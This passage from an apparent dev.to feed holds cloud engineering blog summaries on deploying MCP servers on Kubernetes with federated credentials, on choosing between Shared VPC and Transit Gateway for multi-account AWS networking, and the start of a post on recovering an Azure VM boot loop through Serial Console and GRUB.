&lt;p&gt;An MCP server calling AWS APIs needs credentials. The deployment-time decision that matters most is avoiding a long-lived static credential baked into the image or mounted as a Secret. IAM Roles for Service Accounts (IRSA) binds a Kubernetes ServiceAccount to an IAM role via OIDC federation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ServiceAccount&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mcp-server&lt;/span&gt;
  &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;eks.amazonaws.com/role-arn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;arn:aws:iam::123456789012:role/mcp-server-role&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The IAM role should be scoped narrowly to whatever the server's tools actually need — an MCP server's tool surface is exactly the kind of thing that grows without anyone revisiting the IAM policy that backs it.&lt;/p&gt;




&lt;h2&gt;
  
  
  AKS: Workload Identity
&lt;/h2&gt;

&lt;p&gt;Workload Identity is AKS's equivalent — it federates a Kubernetes ServiceAccount token with an Entra ID application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ServiceAccount&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mcp-server&lt;/span&gt;
  &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;azure.workload.identity/client-id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"11111111-2222-3333-4444-555555555555"&lt;/span&gt;
  &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;azure.workload.identity/use&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"true"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;azure.workload.identity/use: "true"&lt;/code&gt; label must be present on both the ServiceAccount and the pod template — a pod missing that label silently falls back to no identity at all rather than failing loudly, which makes it a frustrating thing to debug after the fact.&lt;/p&gt;




&lt;h2&gt;
  
  
  Autoscaling — a safe floor, not the ideal signal
&lt;/h2&gt;

&lt;p&gt;CPU utilization doesn't track I/O-bound tool-call concurrency well, but a deployment needs something running from day one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;minReplicas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
  &lt;span class="na"&gt;maxReplicas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
  &lt;span class="na"&gt;metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Resource&lt;/span&gt;
      &lt;span class="na"&gt;resource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cpu&lt;/span&gt;
        &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Utilization&lt;/span&gt;
          &lt;span class="na"&gt;averageUtilization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;
  &lt;span class="na"&gt;behavior&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;scaleUp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;stabilizationWindowSeconds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
    &lt;span class="na"&gt;scaleDown&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;stabilizationWindowSeconds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The asymmetric stabilization windows are deliberate: scale up quickly (30s) to protect against bursts of concurrent tool-calling tasks, scale down slowly (300s) to avoid flapping. This will under-react to the specific load pattern MCP servers produce, but it's a safe default while a better signal is put in place.&lt;/p&gt;




&lt;h2&gt;
  
  
  Rolling updates without dropping in-flight work
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;strategy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;RollingUpdate&lt;/span&gt;
  &lt;span class="na"&gt;rollingUpdate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;maxUnavailable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="na"&gt;maxSurge&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;maxUnavailable: 0&lt;/code&gt; guarantees the rollout never reduces capacity below the current replica count — a new pod must pass its readiness probe before the corresponding old pod receives SIGTERM and begins the 45-second grace period. The difference between a rollout that's invisible to callers and one that produces a visible error-rate blip every time code ships.&lt;/p&gt;




&lt;h2&gt;
  
  
  Verifying the deployment
&lt;/h2&gt;

&lt;p&gt;A request that exercises the actual transport confirms the deployment is correctly speaking the current specification:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl -s -X POST https://mcp.example.com/mcp \
  -H &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; \
  -H &lt;span class="s2"&gt;"Mcp-Method: tools/list"&lt;/span&gt; \
  -H &lt;span class="s2"&gt;"Mcp-Name: mcp-server"&lt;/span&gt; \
  -d &lt;span class="s1"&gt;'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A correctly deployed 2026-07-28-compliant server returns the tool list with no &lt;code&gt;Mcp-Session-Id&lt;/code&gt; in the response headers and no &lt;code&gt;initialize&lt;/code&gt; call required beforehand. If a session header shows up, the server (or a proxy in front of it) is still running the older stateful transport path. Worth catching in verification rather than discovering under load — and worth running as a smoke test on every deploy, not just at initial deployment.&lt;/p&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The summary covers the core patterns. The full article goes deeper on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The complete Deployment YAML with all fields explained — resource requests, grace period, and why each value is what it is&lt;/li&gt;
&lt;li&gt;Why credential federation (IRSA and Workload Identity) matters more than it looks like it should — and the measured ecosystem data on static credential exposure in open-source MCP servers&lt;/li&gt;
&lt;li&gt;Namespace and labeling conventions worth setting at initial deployment, before isolation requirements force a full manifest rewrite&lt;/li&gt;
&lt;li&gt;The rolling update strategy in full context, and why &lt;code&gt;maxUnavailable: 0&lt;/code&gt; is the right default for this workload class&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/deploying-mcp-servers-on-kubernetes/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=deploying-mcp-servers-on-kubernetes" rel="noopener noreferrer"&gt;Deploying MCP Servers on Kubernetes — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>devops</category>
      <category>kubernetes</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Multi-Account AWS Networking: Shared VPC, RAM, and the Hub-and-Spoke Model</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Thu, 15 Oct 2026 06:25:09 +0000</pubDate>
      <link>https://dev.to/aloknecessary/multi-account-aws-networking-shared-vpc-ram-and-the-hub-and-spoke-model-35ck</link>
      <guid>https://dev.to/aloknecessary/multi-account-aws-networking-shared-vpc-ram-and-the-hub-and-spoke-model-35ck</guid>
      <description>&lt;p&gt;Once an AWS Organization crosses a handful of accounts, the question stops being how to connect VPCs and becomes who owns the network at all. Two genuinely different models answer that question differently — Shared VPC and centralized Transit Gateway — and picking the wrong one early is expensive to unwind later.&lt;/p&gt;

&lt;p&gt;This post maps both models: what each centralizes, what each delegates, where each breaks down, and how to choose between them based on what your Organization actually needs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Model 1: Shared VPC
&lt;/h2&gt;

&lt;p&gt;Shared VPC uses AWS Resource Access Manager to let one account (typically a central network account) own a VPC and share specific subnets with other accounts. Those accounts launch resources directly into the shared subnets — EC2, RDS, Lambda in VPC mode — without creating a VPC of their own.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Network account: share a subnet with a spoke account&lt;/span&gt;
&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ram_resource_share"&lt;/span&gt; &lt;span class="s2"&gt;"vpc_share"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;                      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ram-shared-vpc-subnets"&lt;/span&gt;
  &lt;span class="n"&gt;allow_external_principals&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ram_resource_association"&lt;/span&gt; &lt;span class="s2"&gt;"app_subnet"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;resource_arn&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shared_app_a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
  &lt;span class="n"&gt;resource_share_arn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_ram_resource_share&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vpc_share&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ram_principal_association"&lt;/span&gt; &lt;span class="s2"&gt;"app_account"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;principal&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"222233334444"&lt;/span&gt;
  &lt;span class="n"&gt;resource_share_arn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_ram_resource_share&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vpc_share&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The network account retains ownership of route tables, NACLs, Internet Gateway, and NAT gateways. Spoke accounts cannot modify any of these — they can only launch resources into the subnets they've been given. Security groups are the one exception: each account creates and manages its own security groups for the resources it launches, even in a shared subnet.&lt;/p&gt;

&lt;p&gt;This split — centralized routing and NACLs, decentralized security groups — defines how Shared VPC feels operationally: the network team owns "can traffic reach this subnet at all," and application teams own "can this specific instance be reached."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it earns its complexity:&lt;/strong&gt; accounts that genuinely need to behave as if they're in the same network — shared load balancers, a common data tier, low-latency service-to-service calls. No Transit Gateway hop, no per-attachment cost.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it breaks down:&lt;/strong&gt; everything sharing the VPC shares the same blast radius. A misconfigured NACL in the network account affects every spoke simultaneously. Two spoke accounts can reach each other's resources over the VPC's local route by default — isolation requires deliberate security group discipline that Transit Gateway's route table segmentation gives you structurally.&lt;/p&gt;




&lt;h2&gt;
  
  
  Model 2: Centralized Transit Gateway (Hub-and-Spoke)
&lt;/h2&gt;

&lt;p&gt;Each account owns its own full VPC. A central network account owns a Transit Gateway shared via RAM — every spoke account attaches its VPC to the shared TGW.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Network account: share TGW with the entire Organization&lt;/span&gt;
&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ec2_transit_gateway"&lt;/span&gt; &lt;span class="s2"&gt;"central"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;description&lt;/span&gt;                     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tgw-org-central"&lt;/span&gt;
  &lt;span class="n"&gt;default_route_table_association&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"disable"&lt;/span&gt;
  &lt;span class="n"&gt;default_route_table_propagation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"disable"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ram_principal_association"&lt;/span&gt; &lt;span class="s2"&gt;"org_share"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;principal&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;aws_organizations_organization&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
  &lt;span class="n"&gt;resource_share_arn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_ram_resource_share&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tgw_share&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sharing to the Organization ARN rather than individual account IDs means any new account added to the Organization can attach to the TGW without a manual RAM association step — important for Organizations still adding accounts regularly.&lt;/p&gt;

&lt;p&gt;Each spoke account attaches independently:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_ec2_transit_gateway_vpc_attachment"&lt;/span&gt; &lt;span class="s2"&gt;"spoke"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;subnet_ids&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app_private_a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app_private_b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;transit_gateway_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tgw-0abc123central"&lt;/span&gt;
  &lt;span class="n"&gt;vpc_id&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spoke&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The network team's authority is limited to the TGW's own route tables. Everything inside each spoke VPC — CIDRs, route tables, security groups, NACLs — is fully owned by that account's team.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The actual selling point:&lt;/strong&gt; TGW route table associations give you structural segmentation. A production route table, a non-production route table, and a shared-services route table each control a completely different set of reachable attachments. A spoke account has no ability to affect that segmentation from its side. This is the property Shared VPC can't cleanly replicate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The cost:&lt;/strong&gt; every spoke VPC is a full VPC — its own CIDR allocation, its own NAT gateway, its own VPC endpoints. For an Organization with many small accounts, this multiplies infrastructure cost significantly compared to a single shared VPC.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Shared VPC&lt;/th&gt;
&lt;th&gt;Centralized Transit Gateway&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;VPC ownership&lt;/td&gt;
&lt;td&gt;One VPC, centrally owned&lt;/td&gt;
&lt;td&gt;Each account owns its own VPC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Segmentation between accounts&lt;/td&gt;
&lt;td&gt;Requires security group discipline&lt;/td&gt;
&lt;td&gt;Native, via TGW route table association&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR planning&lt;/td&gt;
&lt;td&gt;One VPC's CIDR to manage&lt;/td&gt;
&lt;td&gt;Every spoke needs non-overlapping CIDR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cost&lt;/td&gt;
&lt;td&gt;Lower — one NAT/endpoint fleet&lt;/td&gt;
&lt;td&gt;Higher — NAT/endpoints multiplied per spoke&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best fit&lt;/td&gt;
&lt;td&gt;Many small teams needing shared infrastructure access&lt;/td&gt;
&lt;td&gt;Organizations needing strong trust-boundary segmentation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  A Hybrid Pattern Worth Knowing
&lt;/h2&gt;

&lt;p&gt;Keep each application account on its own full VPC connected via Transit Gateway, but put genuinely shared infrastructure — a central logging aggregator, an internal artifact registry, shared Active Directory — in its own dedicated VPC also attached to the same TGW. Every spoke gets low-friction access through normal TGW routing, gated by the same route table segmentation used for everything else. No ownership ambiguity about which application account "hosts" the shared infrastructure.&lt;/p&gt;




&lt;h2&gt;
  
  
  DNS Across Account Boundaries
&lt;/h2&gt;

&lt;p&gt;Routing connectivity doesn't automatically mean private DNS resolution works across accounts.&lt;/p&gt;

&lt;p&gt;For Shared VPC this is largely a non-issue — spoke accounts are in the same VPC, so standard VPC DNS resolution covers everything uniformly.&lt;/p&gt;

&lt;p&gt;For centralized TGW, each spoke has its own DNS scope. Cross-account private hosted zone resolution needs to be built deliberately — either through Route 53 Private Hosted Zone association across accounts (requires an authorization step from the zone-owning account) or through a centralized Route 53 Resolver with inbound/outbound endpoints in the shared services VPC. This is one of the more fiddly parts of the hub-and-spoke model and worth treating as its own planning task during initial Organization network design.&lt;/p&gt;




&lt;h2&gt;
  
  
  Multi-Account-Specific Failure Modes
&lt;/h2&gt;

&lt;p&gt;Beyond the standard route table/security group/NACL checklist:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RAM share exists but principal association is missing or not accepted&lt;/strong&gt; — the resource simply doesn't appear in the spoke account with no error, just an absence&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SCPs blocking cross-account resource use&lt;/strong&gt; independent of RAM being correctly configured — produces an IAM access denied error, easy to spend time debugging the network layer when the block is a policy layer above it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CIDR overlap discovered only at TGW attachment time&lt;/strong&gt; — two spoke accounts provisioned independently can end up with overlapping ranges that only become visible when both try to attach and their routes conflict&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;This summary covers both models, the comparison table, the hybrid pattern, DNS considerations, and the key failure modes. The full article includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Complete Terraform for Shared VPC — VPC, subnets, RAM share, principal association&lt;/li&gt;
&lt;li&gt;Complete Terraform for centralized TGW — TGW with disabled default route tables, Organization-wide RAM share, spoke attachment&lt;/li&gt;
&lt;li&gt;Why disabling default TGW route table association matters for segmentation&lt;/li&gt;
&lt;li&gt;The migration-in-progress angle — how the account structure decided before the first MGN wave determines which model is even on the table later&lt;/li&gt;
&lt;li&gt;Full troubleshooting section for multi-account-specific failure modes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/aws-multi-account-networking/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=aws-multi-account-networking" rel="noopener noreferrer"&gt;Multi-Account AWS Networking: Shared VPC, RAM, and the Hub-and-Spoke Model — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>devops</category>
      <category>cloud</category>
      <category>networking</category>
    </item>
    <item>
      <title>Recovering an Azure VM Boot Loop with Serial Console, Mid-Migration</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Mon, 12 Oct 2026 08:10:26 +0000</pubDate>
      <link>https://dev.to/aloknecessary/recovering-an-azure-vm-boot-loop-with-serial-console-mid-migration-1po6</link>
      <guid>https://dev.to/aloknecessary/recovering-an-azure-vm-boot-loop-with-serial-console-mid-migration-1po6</guid>
      <description>&lt;p&gt;Installing a new kernel, running &lt;code&gt;update-grub&lt;/code&gt;, and purging the old kernel in the same maintenance window — before rebooting to confirm the new one actually boots — is a sequence that feels safe right up until the VM never comes back up. With no fallback GRUB entry left and no SSH, no RDP, nothing reachable, the only path back is something that doesn't depend on the OS network stack at all. This is what that recovery looks like in practice, and what the root cause turned out to be.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Azure Serial Console actually is
&lt;/h2&gt;

&lt;p&gt;Azure Serial Console gives direct access to the VM's serial port (COM1) through the Azure portal, completely independent of the guest OS's network stack. This is the critical property: it works when SSH, RDP, and every other normal access path are unreachable — including when the VM is stuck in a boot loop and never finishes booting at all.&lt;/p&gt;

&lt;p&gt;Two prerequisites worth confirming &lt;em&gt;before&lt;/em&gt; doing any kernel-level work, not during an incident:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Boot diagnostics must be enabled&lt;/strong&gt; on the VM — verify this explicitly on any VM you're about to do kernel work on, not assumed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The portal account needs &lt;code&gt;Virtual Machine Contributor&lt;/code&gt; or equivalent&lt;/strong&gt; — read-only VM visibility is not enough for serial console access&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How the boot loop happened
&lt;/h2&gt;

&lt;p&gt;The kernel swap sequence was: install &lt;code&gt;linux-generic&lt;/code&gt;, run &lt;code&gt;update-grub&lt;/code&gt;, purge &lt;code&gt;linux-azure&lt;/code&gt; — all in the same session, without an intervening reboot. The assumption was that a successful package install and a clean &lt;code&gt;update-grub&lt;/code&gt; run meant the new kernel would boot. That assumption was wrong: the &lt;code&gt;linux-generic&lt;/code&gt; kernel had a dependency on an initramfs configuration that hadn't regenerated correctly for the Azure Hyper-V environment, and the VM never came back after the reboot.&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;linux-azure&lt;/code&gt; already purged, there was no fallback GRUB entry. The VM sat in a continuous restart loop — visible in the Azure portal, but with no SSH, no RDP, nothing reachable.&lt;/p&gt;




&lt;h2&gt;
  
  
  The recovery sequence
&lt;/h2&gt;

&lt;p&gt;Connecting via serial console and pressing &lt;strong&gt;Esc&lt;/strong&gt; during boot interrupts GRUB's countdown and lands on the menu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GNU GRUB  version 2.06

*Ubuntu
 Advanced options for Ubuntu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a fallback kernel still present, selecting it directly is the fastest path back. In this case, &lt;code&gt;linux-azure&lt;/code&gt; had already been purged, so only &lt;code&gt;linux-generic&lt;/code&gt; entries remained — including a recovery mode option that also failed, since the problem was in the initramfs itself.&lt;/p&gt;

&lt;p&gt;The next step: drop to the GRUB command line and confirm what's actually on disk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grub&amp;gt; ls
(hd0) (hd0,gpt2) (hd0,gpt1) (hd0,gpt15)

grub&amp;gt; ls (hd0,gpt2)/boot
grub.cfg  vmlinuz-6.8.0-1015-generic  initrd.img-6.8.0-1015-generic  ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel and initramfs files were both present — ruling out a missing-file problem and pointing toward a boot configuration or initramfs content issue. From the GRUB command line, booting manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grub&amp;gt; linux (hd0,gpt2)/boot/vmlinuz-6.8.0-1015-generic root=/dev/sda2 ro
grub&amp;gt; initrd (hd0,gpt2)/boot/initrd.img-6.8.0-1015-generic
grub&amp;gt; boot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This got the system far enough to reach a root shell — not a fully working boot, but enough to diagnose and fix the actual cause from inside the VM.&lt;/p&gt;




&lt;h2&gt;
  
  
  The actual root cause: missing modules.dep
&lt;/h2&gt;

&lt;p&gt;Once at a shell, regenerating the initramfs surfaced the real problem:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;update-initramfs -c -k 6.8.0-1015-generic
&lt;span class="c"&gt;# W: missing /lib/modules/6.8.0-1015-generic/modules.dep!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;linux-generic&lt;/code&gt; package had installed, but &lt;code&gt;depmod&lt;/code&gt; — which builds the module dependency map the initramfs generation relies on — hadn't run correctly. Doing the install-and-purge in the same session, without an intervening reboot, left &lt;code&gt;dpkg&lt;/code&gt;'s package configuration hooks in an inconsistent state where this dependency step silently didn't complete.&lt;/p&gt;

